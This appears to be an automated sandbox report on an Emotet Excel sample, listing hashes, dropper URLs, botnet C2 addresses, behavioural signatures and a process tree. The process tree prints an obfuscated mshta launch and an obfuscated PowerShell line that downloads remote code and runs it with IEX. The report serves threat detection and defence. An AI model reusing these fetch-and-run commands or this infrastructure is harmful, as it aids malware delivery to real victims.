emotet | b3973d991b4f3e3870404c40bf59257bd40f4207f10dd5a6c34a8d4e29e0f7ea

Analysis

max time kernel
142s
max time network
153s
platform
windows10-2004_x64
resource
win10v2004-en-20220112
submitted
20/01/2022, 16:54

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General

Target
9db324dc873d1b9f5d96ca9f242ccbce.xls
Size 142KB
Sample220120-vejpqsagdn
SHA256 b3973d991b4f3e3870404c40bf59257bd40f4207f10dd5a6c34a8d4e29e0f7ea
MD5 9db324dc873d1b9f5d96ca9f242ccbce
SHA1 9219af2794c0c4c3f3ec48cb1067db541372fdd5
SHA512 f9c76694a41cdcb7db854660b493696b2717757e0b16bb4672abce649d7f2ef3645394beb9a2444aca6a28e29e47dd6813ce24331d7866ac1c977d7fdc4b426f
MD5 SHA1 SHA512

Score

10^/10

emotet epoch4 banker persistence suricata trojan

Malware Config

Extracted

Language

Source

URLs

hta.dropper
http://0xb907d607/fer/fer.html

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://185.7.214.7/fer/fer.png

Extracted

Family

emotet

Botnet

Epoch4

131.100.24.231:80
209.59.138.75:7080
103.8.26.103:8080
51.38.71.0:443
212.237.17.99:8080
79.172.212.216:8080
207.38.84.195:8080
104.168.155.129:8080
178.79.147.66:8080
46.55.222.11:443
103.8.26.102:8080
192.254.71.210:443
45.176.232.124:443
203.114.109.124:443
51.68.175.8:8080
58.227.42.236:80
45.142.114.231:8080
217.182.143.207:443
178.63.25.185:443
45.118.115.99:8080
103.75.201.2:443
104.251.214.46:8080
158.69.222.101:443
81.0.236.90:443
45.118.135.203:7080
176.104.106.96:8080
212.237.56.116:7080
216.158.226.206:443
173.212.193.249:8080
50.116.54.215:443
138.185.72.26:8080
41.76.108.46:8080
212.237.5.209:443
107.182.225.142:8080
195.154.133.20:443
162.214.50.39:7080
110.232.117.186:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3264	3240	cmd.exe	53

Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 1048 created 3032	1048	WerFault.exe	67

suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata

Blocklisted process makes network request 5 IoCs

flow	pid	Process
36	3032	mshta.exe
37	2716	powershell.exe
39	2716	powershell.exe
41	2716	powershell.exe
58	2052	rundll32.exe

Downloads MZ/PE file
Sets service image path in registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-790714498-1549421491-1643397139-1000\Control Panel\International\Geo\Nation	mshta.exe

Loads dropped DLL 4 IoCs

pid	Process
1164	rundll32.exe
3044	rundll32.exe
3416	rundll32.exe
2052	rundll32.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\Keyspba\wrikft.wwz	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
2488	3032	WerFault.exe	67

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe

Enumerates system info in registry 2 TTPs 5 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe

Modifies data under HKEY_USERS 41 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	WaaSMedicAgent.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
3240	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
2716	powershell.exe
2716	powershell.exe
2488	WerFault.exe
2488	WerFault.exe
2052	rundll32.exe
2052	rundll32.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2716	powershell.exe

Suspicious use of SetWindowsHookEx 14 IoCs

pid	Process
3240	EXCEL.EXE
3240	EXCEL.EXE
3240	EXCEL.EXE
3240	EXCEL.EXE
3240	EXCEL.EXE
3240	EXCEL.EXE
3240	EXCEL.EXE
3240	EXCEL.EXE
3240	EXCEL.EXE
3240	EXCEL.EXE
3240	EXCEL.EXE
3240	EXCEL.EXE
3240	EXCEL.EXE
3240	EXCEL.EXE

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 3240 wrote to memory of 3888	3240	EXCEL.EXE	62
PID 3240 wrote to memory of 3888	3240	EXCEL.EXE	62
PID 3240 wrote to memory of 3264	3240	EXCEL.EXE	65
PID 3240 wrote to memory of 3264	3240	EXCEL.EXE	65
PID 3264 wrote to memory of 3032	3264	cmd.exe	67
PID 3264 wrote to memory of 3032	3264	cmd.exe	67
PID 3032 wrote to memory of 2716	3032	mshta.exe	70
PID 3032 wrote to memory of 2716	3032	mshta.exe	70
PID 1048 wrote to memory of 3032	1048	WerFault.exe	67
PID 1048 wrote to memory of 3032	1048	WerFault.exe	67
PID 2716 wrote to memory of 1272	2716	powershell.exe	76
PID 2716 wrote to memory of 1272	2716	powershell.exe	76
PID 1272 wrote to memory of 1164	1272	cmd.exe	77
PID 1272 wrote to memory of 1164	1272	cmd.exe	77
PID 1272 wrote to memory of 1164	1272	cmd.exe	77
PID 1164 wrote to memory of 3044	1164	rundll32.exe	78
PID 1164 wrote to memory of 3044	1164	rundll32.exe	78
PID 1164 wrote to memory of 3044	1164	rundll32.exe	78
PID 3044 wrote to memory of 3416	3044	rundll32.exe	79
PID 3044 wrote to memory of 3416	3044	rundll32.exe	79
PID 3044 wrote to memory of 3416	3044	rundll32.exe	79
PID 3416 wrote to memory of 2052	3416	rundll32.exe	80
PID 3416 wrote to memory of 2052	3416	rundll32.exe	80
PID 3416 wrote to memory of 2052	3416	rundll32.exe	80

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\9db324dc873d1b9f5d96ca9f242ccbce.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3240
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:3888
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fer.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:3264
- - C:\Windows\system32\mshta.exe
    mshta http://0xb907d607/fer/fer.html
    3⤵
    - Blocklisted process makes network request
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:3032
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/fer/fer.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:2716
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1272
      - C:\Windows\SysWow64\rundll32.exe
        
        C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
        6⤵
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:1164
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
        7⤵
        Loads dropped DLL
        Drops file in System32 directory
        Suspicious use of WriteProcessMemory
        
        PID:3044
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Keyspba\wrikft.wwz",iBPP
        8⤵
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:3416
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Keyspba\wrikft.wwz",DllRegisterServer
        9⤵
        Blocklisted process makes network request
        Loads dropped DLL
        Suspicious behavior: EnumeratesProcesses
        
        PID:2052
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 3032 -s 1720
      4⤵
      Program crash
      Checks processor information in registry
      Enumerates system info in registry
      Suspicious behavior: EnumeratesProcesses
      PID:2488

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p
1⤵
PID:1296

C:\Windows\System32\WaaSMedicAgent.exe
C:\Windows\System32\WaaSMedicAgent.exe 7895cac20e9c71690dd3acdb1501de09 GkRAjjGHM0u+QhwM/RuLEA.0.1.0.0.0
1⤵
- Modifies data under HKEY_USERS
PID:1740

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k PrintWorkflow
1⤵
PID:3452

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 432 -p 3032 -ip 3032
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Suspicious use of WriteProcessMemory
PID:1048

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k wusvcs -p
1⤵
PID:708

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1164-540-0x00000000042B0000-0x00000000042D6000-memory.dmp

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memory/2052-570-0x0000000005270000-0x0000000005296000-memory.dmp

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memory/2052-562-0x0000000004D20000-0x0000000004D46000-memory.dmp

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memory/2052-560-0x00000000047C0000-0x00000000047E6000-memory.dmp

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memory/2052-564-0x0000000005030000-0x0000000005056000-memory.dmp

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memory/2052-566-0x0000000005090000-0x00000000050B6000-memory.dmp

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memory/2052-568-0x0000000005170000-0x0000000005196000-memory.dmp

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memory/2052-572-0x00000000053A0000-0x00000000053C6000-memory.dmp

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memory/2052-574-0x0000000005480000-0x00000000054A6000-memory.dmp

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memory/2716-535-0x00000213E1210000-0x00000213E1212000-memory.dmp

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memory/2716-534-0x00000213E1530000-0x00000213E1574000-memory.dmp

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memory/2716-545-0x00000213E19B0000-0x00000213E1A26000-memory.dmp

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memory/2716-536-0x00000213E1213000-0x00000213E1215000-memory.dmp

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memory/2716-531-0x00000213E1390000-0x00000213E13B2000-memory.dmp

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memory/2716-537-0x00000213E1216000-0x00000213E1218000-memory.dmp

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memory/3044-543-0x0000000000930000-0x0000000000956000-memory.dmp

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memory/3044-546-0x00000000044C0000-0x00000000044E6000-memory.dmp

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memory/3044-548-0x0000000004A10000-0x0000000004A36000-memory.dmp

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memory/3044-550-0x0000000004AF0000-0x0000000004B16000-memory.dmp

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memory/3044-552-0x0000000004B50000-0x0000000004B76000-memory.dmp

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memory/3044-555-0x0000000004CD0000-0x0000000004CF6000-memory.dmp

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memory/3240-130-0x00007FF916630000-0x00007FF916640000-memory.dmp

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memory/3240-138-0x00007FF913DE0000-0x00007FF913DF0000-memory.dmp

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memory/3240-137-0x00007FF913DE0000-0x00007FF913DF0000-memory.dmp

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memory/3240-134-0x00007FF916630000-0x00007FF916640000-memory.dmp

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memory/3240-133-0x00007FF916630000-0x00007FF916640000-memory.dmp

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memory/3240-131-0x00007FF916630000-0x00007FF916640000-memory.dmp

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memory/3240-132-0x00007FF916630000-0x00007FF916640000-memory.dmp

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memory/3240-594-0x00007FF916630000-0x00007FF916640000-memory.dmp

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memory/3240-595-0x00007FF916630000-0x00007FF916640000-memory.dmp

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memory/3240-596-0x00007FF916630000-0x00007FF916640000-memory.dmp

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memory/3240-597-0x00007FF916630000-0x00007FF916640000-memory.dmp

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memory/3416-556-0x0000000004180000-0x00000000041A6000-memory.dmp

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